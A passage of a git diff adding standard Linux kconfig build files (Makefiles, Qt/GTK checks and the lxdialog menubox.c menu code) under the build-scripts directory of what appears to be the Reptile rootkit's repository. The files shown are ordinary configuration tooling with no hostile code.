allmodconfig alldefconfig randconfig: $(obj)/conf + $< --$@ $(Kconfig) + +PHONY += listnewconfig olddefconfig oldnoconfig savedefconfig defconfig + +listnewconfig olddefconfig: $(obj)/conf + $< --$@ $(Kconfig) + +# oldnoconfig is an alias of olddefconfig, because people already are dependent +# on its behavior(sets new symbols to their default value but not 'n') with the +# counter-intuitive name. +oldnoconfig: $(obj)/conf + $< --olddefconfig $(Kconfig) + +savedefconfig: $(obj)/conf + $< --$@=defconfig $(Kconfig) + +defconfig: $(obj)/conf +ifeq ($(KBUILD_DEFCONFIG),) + $< --defconfig $(Kconfig) +else + @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'" + $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$(KBUILD_DEFCONFIG) $(Kconfig) +endif + +%_defconfig: $(obj)/conf + $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$@ $(Kconfig) + +# Help text used by make help +help: + @echo ' config - Update current config utilising a line-oriented program' + @echo ' nconfig - Update current config utilising a ncurses menu based program' + @echo ' menuconfig - Update current config utilising a menu based program' + @echo ' xconfig - Update current config utilising a QT based front-end' + @echo ' gconfig - Update current config utilising a GTK based front-end' + @echo ' oldconfig - Update current config utilising a provided .config as base' + @echo ' localmodconfig - Update current config disabling modules not loaded' + @echo ' localyesconfig - Update current config converting local mods to core' + @echo ' silentoldconfig - Same as oldconfig, but quietly, additionally update deps' + @echo ' defconfig - New config with default from ARCH supplied defconfig' + @echo ' savedefconfig - Save current config as ./defconfig (minimal config)' + @echo ' allnoconfig - New config where all options are answered with no' + @echo ' allyesconfig - New config where all options are accepted with yes' + @echo ' allmodconfig - New config selecting modules when possible' + @echo ' alldefconfig - New config with all symbols set to default' + @echo ' randconfig - New config with random answer to all options' + @echo ' listnewconfig - List new options' + @echo ' olddefconfig - Same as silentoldconfig but sets new symbols to their default value' + +# lxdialog stuff +check-lxdialog := $(srctree)/$(src)/lxdialog/check-lxdialog.sh + +# Use recursively expanded variables so we do not call gcc unless +# we really need to do so. (Do not call gcc as part of make mrproper) +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(check-lxdialog) -ccflags) \ + -DLOCALE + +# =========================================================================== +# Shared Makefile for the various kconfig executables: +# conf: Used for defconfig, oldconfig and related targets +# nconf: Used for the nconfig target. +# Utilizes ncurses +# mconf: Used for the menuconfig target +# Utilizes the lxdialog package +# qconf: Used for the xconfig target +# Based on QT which needs to be installed to compile it +# gconf: Used for the gconfig target +# Based on GTK which needs to be installed to compile it +# object files used by all kconfig flavours + +lxdialog := lxdialog/checklist.o lxdialog/util.o lxdialog/inputbox.o +lxdialog += lxdialog/textbox.o lxdialog/yesno.o lxdialog/menubox.o + +conf-objs := conf.o zconf.tab.o +mconf-objs := mconf.o zconf.tab.o $(lxdialog) +nconf-objs := nconf.o zconf.tab.o nconf.gui.o +kxgettext-objs := kxgettext.o zconf.tab.o +qconf-cxxobjs := qconf.o +qconf-objs := zconf.tab.o +gconf-objs := gconf.o zconf.tab.o + +hostprogs-y := conf + +ifeq ($(MAKECMDGOALS),nconfig) + hostprogs-y += nconf +endif + +ifeq ($(MAKECMDGOALS),menuconfig) + hostprogs-y += mconf +endif + +ifeq ($(MAKECMDGOALS),update-po-config) + hostprogs-y += kxgettext +endif + +ifeq ($(MAKECMDGOALS),xconfig) + qconf-target := 1 +endif +ifeq ($(MAKECMDGOALS),gconfig) + gconf-target := 1 +endif + + +ifeq ($(qconf-target),1) + hostprogs-y += qconf +endif + +ifeq ($(gconf-target),1) + hostprogs-y += gconf +endif + +clean-files := qconf.moc .tmp_qtcheck .tmp_gtkcheck +clean-files += zconf.tab.c zconf.lex.c zconf.hash.c gconf.glade.h +clean-files += mconf qconf gconf nconf +clean-files += config.pot linux.pot + +# Check that we have the required ncurses stuff installed for lxdialog (menuconfig) +PHONY += $(obj)/dochecklxdialog +$(addprefix $(obj)/,$(lxdialog)): $(obj)/dochecklxdialog +$(obj)/dochecklxdialog: + $(Q)$(CONFIG_SHELL) $(check-lxdialog) -check $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTLOADLIBES_mconf) + +always := dochecklxdialog + +# Add environment specific flags +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(srctree)/$(src)/check.sh $(HOSTCC) $(HOSTCFLAGS)) + +# generated files seem to need this to find local include files +HOSTCFLAGS_zconf.lex.o := -I$(src) +HOSTCFLAGS_zconf.tab.o := -I$(src) + +LEX_PREFIX_zconf := zconf +YACC_PREFIX_zconf := zconf + +HOSTLOADLIBES_qconf = $(KC_QT_LIBS) +HOSTCXXFLAGS_qconf.o = $(KC_QT_CFLAGS) + +HOSTLOADLIBES_gconf = `pkg-config --libs gtk+-2.0 gmodule-2.0 libglade-2.0` +HOSTCFLAGS_gconf.o = `pkg-config --cflags gtk+-2.0 gmodule-2.0 libglade-2.0` \ + -Wno-missing-prototypes + +HOSTLOADLIBES_mconf = $(shell $(CONFIG_SHELL) $(check-lxdialog) -ldflags $(HOSTCC)) + +HOSTLOADLIBES_nconf = $(shell \ + pkg-config --libs menu panel ncurses 2>/dev/null \ + || echo "-lmenu -lpanel -lncurses" ) +$(obj)/qconf.o: $(obj)/.tmp_qtcheck + +ifeq ($(qconf-target),1) +$(obj)/.tmp_qtcheck: $(src)/Makefile +-include $(obj)/.tmp_qtcheck + +# QT needs some extra effort... +$(obj)/.tmp_qtcheck: + @set -e; echo " CHECK qt"; dir=""; pkg=""; \ + if ! pkg-config --exists QtCore 2> /dev/null; then \ + echo "* Unable to find the QT4 tool qmake. Trying to use QT3"; \ + pkg-config --exists qt 2> /dev/null && pkg=qt; \ + pkg-config --exists qt-mt 2> /dev/null && pkg=qt-mt; \ + if [ -n "$$pkg" ]; then \ + cflags="\$$(shell pkg-config $$pkg --cflags)"; \ + libs="\$$(shell pkg-config $$pkg --libs)"; \ + moc="\$$(shell pkg-config $$pkg --variable=prefix)/bin/moc"; \ + dir="$$(pkg-config $$pkg --variable=prefix)"; \ + else \ + for d in $$QTDIR /usr/share/qt* /usr/lib/qt*; do \ + if [ -f $$d/include/qconfig.h ]; then dir=$$d; break; fi; \ + done; \ + if [ -z "$$dir" ]; then \ + echo >&2 "*"; \ + echo >&2 "* Unable to find any QT installation. Please make sure that"; \ + echo >&2 "* the QT4 or QT3 development package is correctly installed and"; \ + echo >&2 "* either qmake can be found or install pkg-config or set"; \ + echo >&2 "* the QTDIR environment variable to the correct location."; \ + echo >&2 "*"; \ + false; \ + fi; \ + libpath=$$dir/lib; lib=qt; osdir=""; \ + $(HOSTCXX) -print-multi-os-directory > /dev/null 2>&1 && \ + osdir=x$$($(HOSTCXX) -print-multi-os-directory); \ + test -d $$libpath/$$osdir && libpath=$$libpath/$$osdir; \ + test -f $$libpath/libqt-mt.so && lib=qt-mt; \ + cflags="-I$$dir/include"; \ + libs="-L$$libpath -Wl,-rpath,$$libpath -l$$lib"; \ + moc="$$dir/bin/moc"; \ + fi; \ + if [ ! -x $$dir/bin/moc -a -x /usr/bin/moc ]; then \ + echo "*"; \ + echo "* Unable to find $$dir/bin/moc, using /usr/bin/moc instead."; \ + echo "*"; \ + moc="/usr/bin/moc"; \ + fi; \ + else \ + cflags="\$$(shell pkg-config QtCore QtGui Qt3Support --cflags)"; \ + libs="\$$(shell pkg-config QtCore QtGui Qt3Support --libs)"; \ + moc="\$$(shell pkg-config QtCore --variable=moc_location)"; \ + [ -n "$$moc" ] || moc="\$$(shell pkg-config QtCore --variable=prefix)/bin/moc"; \ + fi; \ + echo "KC_QT_CFLAGS=$$cflags" > $@; \ + echo "KC_QT_LIBS=$$libs" >> $@; \ + echo "KC_QT_MOC=$$moc" >> $@ +endif + +$(obj)/gconf.o: $(obj)/.tmp_gtkcheck + +ifeq ($(gconf-target),1) +-include $(obj)/.tmp_gtkcheck + +# GTK needs some extra effort, too... +$(obj)/.tmp_gtkcheck: + @if `pkg-config --exists gtk+-2.0 gmodule-2.0 libglade-2.0`; then \ + if `pkg-config --atleast-version=2.0.0 gtk+-2.0`; then \ + touch $@; \ + else \ + echo >&2 "*"; \ + echo >&2 "* GTK+ is present but version >= 2.0.0 is required."; \ + echo >&2 "*"; \ + false; \ + fi \ + else \ + echo >&2 "*"; \ + echo >&2 "* Unable to find the GTK+ installation. Please make sure that"; \ + echo >&2 "* the GTK+ 2.0 development package is correctly installed..."; \ + echo >&2 "* You need gtk+-2.0, glib-2.0 and libglade-2.0."; \ + echo >&2 "*"; \ + false; \ + fi +endif + +$(obj)/zconf.tab.o: $(obj)/zconf.lex.c $(obj)/zconf.hash.c + +$(obj)/qconf.o: $(obj)/qconf.moc + +quiet_cmd_moc = MOC $@ + cmd_moc = $(KC_QT_MOC) -i $< -o $@ + +$(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck + $(call cmd,moc) + +# Extract gconf menu items for I18N support +$(obj)/gconf.glade.h: $(obj)/gconf.glade + $(Q)intltool-extract --type=gettext/glade --srcdir=$(srctree) \ + $(obj)/gconf.glade + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/lxdialog/menubox.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/lxdialog/menubox.c new file mode 100644 index 0000000..c93de0b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/lxdialog/menubox.c @@ -0,0 +1,437 @@ +/* + * menubox.c -- implements the menu box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcapw@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +/* + * Changes by Clifford Wolf (god@clifford.at) + * + * [ 1998-06-13 ] + * + * *) A bugfix for the Page-Down problem + * + * *) Formerly when I used Page Down and Page Up, the cursor would be set + * to the first position in the menu box. Now lxdialog is a bit + * smarter and works more like other menu systems (just have a look at + * it). + * + * *) Formerly if I selected something my scrolling would be broken because + * lxdialog is re-invoked by the Menuconfig shell script, can't + * remember the last scrolling position, and just sets it so that the + * cursor is at the bottom of the box. Now it writes the temporary file + * lxdialog.scrltmp which contains this information. The file is + * deleted by lxdialog if the user leaves a submenu or enters a new + * one, but it would be nice if Menuconfig could make another "rm -f" + * just to be sure. Just try it out - you will recognise a difference! + * + * [ 1998-06-14 ] + * + * *) Now lxdialog is crash-safe against broken "lxdialog.scrltmp" files + * and menus change their size on the fly. + * + * *) If for some reason the last scrolling position is not saved by + * lxdialog, it sets the scrolling so that the selected item is in the + * middle of the menu box, not at the bottom. + * + * 02 January 1999, Michael Elizabeth Chastain (mec@shout.net) + * Reset 'scroll' to 0 if the value from lxdialog.scrltmp is bogus. + * This fixes a bug in Menuconfig where using ' ' to descend into menus + * would leave mis-synchronized lxdialog.scrltmp files lying around, + * fscanf would read in 'scroll', and eventually that value would get used. + */ + +#include "dialog.h" + +static int menu_width, item_x; + +/* + * Print menu item + */ +static void do_print_item(WINDOW * win, const char *item, int line_y, + int selected, int hotkey) +{ + int j; + char *menu_item = malloc(menu_width + 1); + + strncpy(menu_item, item, menu_width - item_x); + menu_item[menu_width - item_x] = '\0'; + j = first_alpha(menu_item, "YyNnMmHh"); + + /* Clear 'residue' of last item */ + wattrset(win, dlg.menubox.atr); + wmove(win, line_y, 0); +#if OLD_NCURSES + { + int i; + for (i = 0; i < menu_width; i++) + waddch(win, ' '); + } +#else + wclrtoeol(win); +#endif + wattrset(win, selected ? dlg.item_selected.atr : dlg.item.atr); + mvwaddstr(win, line_y, item_x, menu_item); + if (hotkey) { + wattrset(win, selected ? dlg.tag_key_selected.atr + : dlg.tag_key.atr); + mvwaddch(win, line_y, item_x + j, menu_item[j]); + } + if (selected) { + wmove(win, line_y, item_x + 1); + } + free(menu_item); + wrefresh(win); +} + +#define print_item(index, choice, selected) \ +do { \ + item_set(index); \ + do_print_item(menu, item_str(), choice, selected, !item_is_tag(':')); \ +} while (0) + +/* + * Print the scroll indicators. + */ +static void print_arrows(WINDOW * win, int item_no, int scroll, int y, int x, + int height) +{ + int cur_y, cur_x; + + getyx(win, cur_y, cur_x); + + wmove(win, y, x); + + if (scroll > 0) { + wattrset(win, dlg.uarrow.atr); + waddch(win, ACS_UARROW); + waddstr(win, "(-)"); + } else { + wattrset(win, dlg.menubox.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + y = y + height + 1; + wmove(win, y, x); + wrefresh(win); + + if ((height < item_no) && (scroll + height < item_no)) { + wattrset(win, dlg.darrow.atr); + waddch(win, ACS_DARROW); + waddstr(win, "(+)"); + } else { + wattrset(win, dlg.menubox_border.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + wmove(win, cur_y, cur_x); + wrefresh(win); +} + +/* + * Display the termination buttons. + */ +static void print_buttons(WINDOW * win, int height, int width, int selected) +{ + int x = width / 2 - 28; + int y = height - 2; + + print_button(win, gettext("Select"), y, x, selected == 0); + print_button(win, gettext(" Exit "), y, x + 12, selected == 1); + print_button(win, gettext(" Help "), y, x + 24, selected == 2); + print_button(win, gettext(" Save "), y, x + 36, selected == 3); + print_button(win, gettext(" Load "), y, x + 48, selected == 4); + + wmove(win, y, x + 1 + 12 * selected); + wrefresh(win); +} + +/* scroll up n lines (n may be negative) */ +static void do_scroll(WINDOW *win, int *scroll, int n) +{ + /* Scroll menu up */ + scrollok(win, TRUE); + wscrl(win, n); + scrollok(win, FALSE); + *scroll = *scroll + n; + wrefresh(win); +} + +/* + * Display a menu for choosing among a number of options + */ +int dialog_menu(const char *title, const char *prompt, + const void *selected, int *s_scroll) +{ + int i, j, x, y, box_x, box_y; + int height, width, menu_height; + int key = 0, button = 0, scroll = 0, choice = 0; + int first_item = 0, max_choice; + WINDOW *dialog, *menu; + +do_resize: + height = getmaxy(stdscr); + width = getmaxx(stdscr); + if (height < MENUBOX_HEIGTH_MIN || width < MENUBOX_WIDTH_MIN) + return -ERRDISPLAYTOOSMALL; + + height -= 4; + width -= 5; + menu_height = height - 10; + + max_choice = MIN(menu_height, item_count()); + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + wbkgdset(dialog, dlg.dialog.atr & A_COLOR); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + menu_width = width - 6; + box_y = height - menu_height - 5; + box_x = (width - menu_width) / 2 - 1; + + /* create new window for the menu */ + menu = subwin(dialog, menu_height, menu_width, + y + box_y + 1, x + box_x + 1); + keypad(menu, TRUE); + + /* draw a box around the menu items */ + draw_box(dialog, box_y, box_x, menu_height + 2, menu_width + 2, + dlg.menubox_border.atr, dlg.menubox.atr); + + if (menu_width >= 80) + item_x = (menu_width - 70) / 2; + else + item_x = 4; + + /* Set choice to default item */ + item_foreach() + if (selected && (selected == item_data())) + choice = item_n(); + /* get the saved scroll info */ + scroll = *s_scroll; + if ((scroll <= choice) && (scroll + max_choice > choice) && + (scroll >= 0) && (scroll + max_choice <= item_count())) { + first_item = scroll; + choice = choice - scroll; + } else { + scroll = 0; + } + if ((choice >= max_choice)) { + if (choice >= item_count() - max_choice / 2) + scroll = first_item = item_count() - max_choice; + else + scroll = first_item = choice - max_choice / 2; + choice = choice - scroll; + } + + /* Print the menu */ + for (i = 0; i < max_choice; i++) { + print_item(first_item + i, i, i == choice); + } + + wnoutrefresh(menu); + + print_arrows(dialog, item_count(), scroll, + box_y, box_x + item_x + 1, menu_height); + + print_buttons(dialog, height, width, 0); + wmove(menu, choice, item_x + 1); + wrefresh(menu); + + while (key != KEY_ESC) { + key = wgetch(menu); + + if (key < 256 && isalpha(key)) + key = tolower(key); + + if (strchr("ynmh", key)) + i = max_choice; + else { + for (i = choice + 1; i < max_choice; i++) { + item_set(scroll + i); + j = first_alpha(item_str(), "YyNnMmHh"); + if (key == tolower(item_str()[j])) + break; + } + if (i == max_choice) + for (i = 0; i < max_choice; i++) { + item_set(scroll + i); + j = first_alpha(item_str(), "YyNnMmHh"); + if (key == tolower(item_str()[j])) + break; + } + } + + if (item_count() != 0 && + (i < max_choice || + key == KEY_UP || key == KEY_DOWN || + key == '-' || key == '+' || + key == KEY_PPAGE || key == KEY_NPAGE)) { + /* Remove highligt of current item */ + print_item(scroll + choice, choice, FALSE); + + if (key == KEY_UP || key == '-') { + if (choice < 2 && scroll) { + /* Scroll menu down */ + do_scroll(menu, &scroll, -1); + + print_item(scroll, 0, FALSE); + } else + choice = MAX(choice - 1, 0); + + } else if (key == KEY_DOWN || key == '+') { + print_item(scroll+choice, choice, FALSE); + + if ((choice > max_choice - 3) && + (scroll + max_choice < item_count())) { + /* Scroll menu up */ + do_scroll(menu, &scroll, 1); + + print_item(scroll+max_choice - 1, + max_choice - 1, FALSE); + } else + choice = MIN(choice + 1, max_choice - 1); + + } else if (key == KEY_PPAGE) { + scrollok(menu, TRUE); + for (i = 0; (i < max_choice); i++) { + if (scroll > 0) { + do_scroll(menu, &scroll, -1); + print_item(scroll, 0, FALSE); + } else { + if (choice > 0) + choice--; + } + } + + } else if (key == KEY_NPAGE) { + for (i = 0; (i < max_choice); i++) { + if (scroll + max_choice < item_count()) { + do_scroll(menu, &scroll, 1); + print_item(scroll+max_choice-1, + max_choice - 1, FALSE); + } else { + if (choice + 1 < max_choice) + choice++; + } + } + } else + choice = i; + + print_item(scroll + choice, choice, TRUE); + + print_arrows(dialog, item_count(), scroll, + box_y, box_x + item_x + 1, menu_height); + + wnoutrefresh(dialog); + wrefresh(menu); + + continue; /* wait for another key press */ + } + + switch (key) { + case KEY_LEFT: + case TAB: + case KEY_RIGHT: + button = ((key == KEY_LEFT ? --button : ++button) < 0) + ? 4 : (button > 4 ? 0 : button); + + print_buttons(dialog, height, width, button); + wrefresh(menu); + break; + case ' ': + case 's': + case 'y': + case 'n': + case 'm': + case '/': + case 'h': + case '?': + case 'z': + case '\n': + /* save scroll info */ + *s_scroll = scroll; + delwin(menu); + delwin(dialog); + item_set(scroll + choice); + item_set_selected(1); + switch (key) { + case 'h': + case '?': + return 2; + case 's': + case 'y': + return 5; + case 'n': + return 6; + case 'm': + return 7; + case ' ': + return 8; + case '/': + return 9; + case 'z': + return 10; + case '\n': + return button; + } + return 0; + case 'e': + case 'x': + key = KEY_ESC; + break; + case KEY_ESC: + key = on_key_esc(menu); + break; + case KEY_RESIZE: + on_key_resize(); + delwin(menu); + delwin(dialog); + goto do_resize; + } + } + delwin(menu); + delwin(dialog); + return key; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/applied-patches b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/applied-patches new file mode 100644 index 0000000..de0a289 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/applied-patches @@ -0,0 +1,9 @@ +01-kconfig-kernel-to-buildroot.patch +10-br-build-system.patch +11-use-mktemp-for-lxdialog.patch +12-fix-glade-file-path.patch +14-support-out-of-tree-config.patch +15-fix-qconf-moc-rule.patch +16-fix-space-to-de-select-options.patch +100-kconfig-generic-env.patch +101-kconfig-build.patch diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/GNUmakefile b/Linux/Rootkits/Reptile/scripts/kconfig/GNUmakefile new file mode 100644 index 0000000..670da09 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/GNUmakefile @@ -0,0 +1,60 @@ +# +# Default stand alone makefile for kconfig. +# +# The Makefile and Makefile.br in this directory should +# not be called directly for standalone build. +# Actually they are included by this makefile. +# + +## +# Makefile parameters. +# +# The parameters are configured as for kernel build +# by default. Override them for your application +# setting. +# + +# TOP srcdir and this srcdir (relative to TOPDIR) +TOPDIR=. +SRCDIR=. + +# O: output directory (objs/exes), default to src dir +O=$(TOPDIR)/$(SRCDIR) + +# Build configuration +KBUILD_KCONFIG=Kconfig +KBUILD_CONFIG_DIR=configs +KBUILD_DEFCONFIG=defconfig + +# Product information (exported) +export PRODUCT_ENV=KCONFIG +export PRODUCT=Kernel +export PRODUCT_VERSION= +export PRODUCT_DOMAIN=kernel.org + +# Kconfig configuration (exported) +export $(PRODUCT_ENV)_CONFIG=.config + + +# End of Makefile parameters. +## + +## +# Makefile adaptation/inclusion. + +# Buid vars +HOSTCC=$(CC) +HOSTCXX=$(CXX) +HOSTCFLAGS=-O2 -g +HOSTCXXFLAGS=-O2 -g +srctree=$(TOPDIR) +src=$(TOPDIR)/$(SRCDIR) +obj=$(O) + +# Enable execution from Makefile *conf programs +export PATH:=$(PATH):$(obj) + +include $(TOPDIR)/$(SRCDIR)/Makefile.br + +# End of Makefile adaptation/inclusion. +## diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/Makefile b/Linux/Rootkits/Reptile/scripts/kconfig/Makefile new file mode 100644 index 0000000..9623ab2 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/Makefile @@ -0,0 +1,324 @@ +# =========================================================================== +# Kernel configuration targets +# These targets are used from top-level makefile + +PHONY += oldconfig xconfig gconfig menuconfig config silentoldconfig update-po-config \ + localmodconfig localyesconfig + +ifdef KBUILD_KCONFIG +Kconfig := $(KBUILD_KCONFIG) +else +Kconfig := Kconfig +endif + +ifndef KBUILD_CONFIG_DIR +KBUILD_CONFIG_DIR=arch/$(SRCARCH)/configs +endif + +# We need this, in case the user has it in its environment +unexport CONFIG_ + +xconfig: $(obj)/qconf + $< $(Kconfig) + +gconfig: $(obj)/gconf + $< $(Kconfig) + +menuconfig: $(obj)/mconf + $< $(Kconfig) + +config: $(obj)/conf + $< --oldaskconfig $(Kconfig) + +nconfig: $(obj)/nconf + $< $(Kconfig) + +oldconfig: $(obj)/conf + $< --$@ $(Kconfig) + +silentoldconfig: $(obj)/conf + $(Q)mkdir -p include/generated + $< --$@ $(Kconfig) + +localyesconfig localmodconfig: $(obj)/streamline_config.pl $(obj)/conf + $(Q)mkdir -p include/generated + $(Q)perl $< --$@ $(srctree) $(Kconfig) > .tmp.config + $(Q)if [ -f .config ]; then \ + cmp -s .tmp.config .config || \ + (mv -f .config .config.old.1; \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + mv -f .config.old.1 .config.old) \ + else \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + fi + $(Q)rm -f .tmp.config + +# Create new linux.pot file +# Adjust charset to UTF-8 in .po file to accept UTF-8 in Kconfig files +update-po-config: $(obj)/kxgettext $(obj)/gconf.glade.h + $(Q)echo " GEN config.pot" + $(Q)xgettext --default-domain=linux \ + --add-comments --keyword=_ --keyword=N_ \ + --from-code=UTF-8 \ + --files-from=$(srctree)/scripts/kconfig/POTFILES.in \ + --directory=$(srctree) --directory=$(objtree) \ + --output $(obj)/config.pot + $(Q)sed -i s/CHARSET/UTF-8/ $(obj)/config.pot + $(Q)(for i in `ls $(srctree)/arch/*/Kconfig \ + $(srctree)/arch/*/um/Kconfig`; \ + do \ + echo " GEN $$i"; \ + $(obj)/kxgettext $$i \ + >> $(obj)/config.pot; \ + done ) + $(Q)echo " GEN linux.pot" + $(Q)msguniq --sort-by-file --to-code=UTF-8 $(obj)/config.pot \ + --output $(obj)/linux.pot + $(Q)rm -f $(obj)/config.pot + +PHONY += allnoconfig allyesconfig allmodconfig alldefconfig randconfig + +allnoconfig allyesconfig allmodconfig alldefconfig randconfig: $(obj)/conf + $< --$@ $(Kconfig) + +PHONY += listnewconfig olddefconfig oldnoconfig savedefconfig defconfig + +listnewconfig olddefconfig: $(obj)/conf + $< --$@ $(Kconfig) + +# oldnoconfig is an alias of olddefconfig, because people already are dependent +# on its behavior(sets new symbols to their default value but not 'n') with the +# counter-intuitive name. +oldnoconfig: $(obj)/conf + $< --olddefconfig $(Kconfig) + +savedefconfig: $(obj)/conf + $< --$@=defconfig $(Kconfig) + +defconfig: $(obj)/conf +ifeq ($(KBUILD_DEFCONFIG),) + $< --defconfig $(Kconfig) +else + @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'" + $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$(KBUILD_DEFCONFIG) $(Kconfig) +endif + +%_defconfig: $(obj)/conf + $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$@ $(Kconfig) + +# Help text used by make help +help: + @echo ' config - Update current config utilising a line-oriented program' + @echo ' nconfig - Update current config utilising a ncurses menu based program' + @echo ' menuconfig - Update current config utilising a menu based program' + @echo ' xconfig - Update current config utilising a QT based front-end' + @echo ' gconfig - Update current config utilising a GTK based front-end' + @echo ' oldconfig - Update current config utilising a provided .config as base' + @echo ' localmodconfig - Update current config disabling modules not loaded' + @echo ' localyesconfig - Update current config converting local mods to core' + @echo ' silentoldconfig - Same as oldconfig, but quietly, additionally update deps' + @echo ' defconfig - New config with default from ARCH supplied defconfig' + @echo ' savedefconfig - Save current config as ./defconfig (minimal config)' + @echo ' allnoconfig - New config where all options are answered with no' + @echo ' allyesconfig - New config where all options are accepted with yes' + @echo ' allmodconfig - New config selecting modules when possible' + @echo ' alldefconfig - New config with all symbols set to default' + @echo ' randconfig - New config with random answer to all options' + @echo ' listnewconfig - List new options' + @echo ' olddefconfig - Same as silentoldconfig but sets new symbols to their default value' + +# lxdialog stuff +check-lxdialog := $(src)/lxdialog/check-lxdialog.sh + +# Use recursively expanded variables so we do not call gcc unless +# we really need to do so. (Do not call gcc as part of make mrproper) +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(check-lxdialog) -ccflags) \ + -DLOCALE + +# =========================================================================== +# Shared Makefile for the various kconfig executables: +# conf: Used for defconfig, oldconfig and related targets +# nconf: Used for the nconfig target. +# Utilizes ncurses +# mconf: Used for the menuconfig target +# Utilizes the lxdialog package +# qconf: Used for the xconfig target +# Based on QT which needs to be installed to compile it +# gconf: Used for the gconfig target +# Based on GTK which needs to be installed to compile it +# object files used by all kconfig flavours + +lxdialog := lxdialog/checklist.o lxdialog/util.o lxdialog/inputbox.o +lxdialog += lxdialog/textbox.o lxdialog/yesno.o lxdialog/menubox.o + +conf-objs := conf.o zconf.tab.o +mconf-objs := mconf.o zconf.tab.o $(lxdialog) +nconf-objs := nconf.o zconf.tab.o nconf.gui.o +kxgettext-objs := kxgettext.o zconf.tab.o +qconf-cxxobjs := qconf.o +qconf-objs := zconf.tab.o +gconf-objs := gconf.o zconf.tab.o + +hostprogs-y := conf + +ifeq ($(MAKECMDGOALS),nconfig) + hostprogs-y += nconf +endif + +ifeq ($(MAKECMDGOALS),menuconfig) + hostprogs-y += mconf +endif + +ifeq ($(MAKECMDGOALS),update-po-config) + hostprogs-y += kxgettext +endif + +ifeq ($(MAKECMDGOALS),xconfig) + qconf-target := 1 +endif +ifeq ($(MAKECMDGOALS),gconfig) + gconf-target := 1 +endif + + +ifeq ($(qconf-target),1) + hostprogs-y += qconf +endif + +ifeq ($(gconf-target),1) + hostprogs-y += gconf +endif + +clean-files := qconf.moc .tmp_qtcheck .tmp_gtkcheck +clean-files += zconf.tab.c zconf.lex.c zconf.hash.c gconf.glade.h +clean-files += mconf qconf gconf nconf +clean-files += config.pot linux.pot +clean-files += *.o + +# Check that we have the required ncurses stuff installed for lxdialog (menuconfig) +PHONY += $(obj)/dochecklxdialog +$(addprefix $(obj)/,$(lxdialog)): $(obj)/dochecklxdialog +$(obj)/dochecklxdialog: + @$(CONFIG_SHELL) $(check-lxdialog) -check $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTLOADLIBES_mconf) + +always := dochecklxdialog + +# Add environment specific flags +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(src)/check.sh $(HOSTCC) $(HOSTCFLAGS)) + +# generated files seem to need this to find local include files +HOSTCFLAGS_zconf.lex.o := -I$(src) +HOSTCFLAGS_zconf.tab.o := -I$(src) + +LEX_PREFIX_zconf := zconf +YACC_PREFIX_zconf := zconf + +HOSTLOADLIBES_qconf = $(KC_QT_LIBS) +HOSTCXXFLAGS_qconf.o = $(KC_QT_CFLAGS) + +HOSTLOADLIBES_gconf = `pkg-config --libs gtk+-2.0 gmodule-2.0 libglade-2.0` +HOSTCFLAGS_gconf.o = `pkg-config --cflags gtk+-2.0 gmodule-2.0 libglade-2.0` \ + -Wno-missing-prototypes + +HOSTLOADLIBES_mconf = $(shell $(CONFIG_SHELL) $(check-lxdialog) 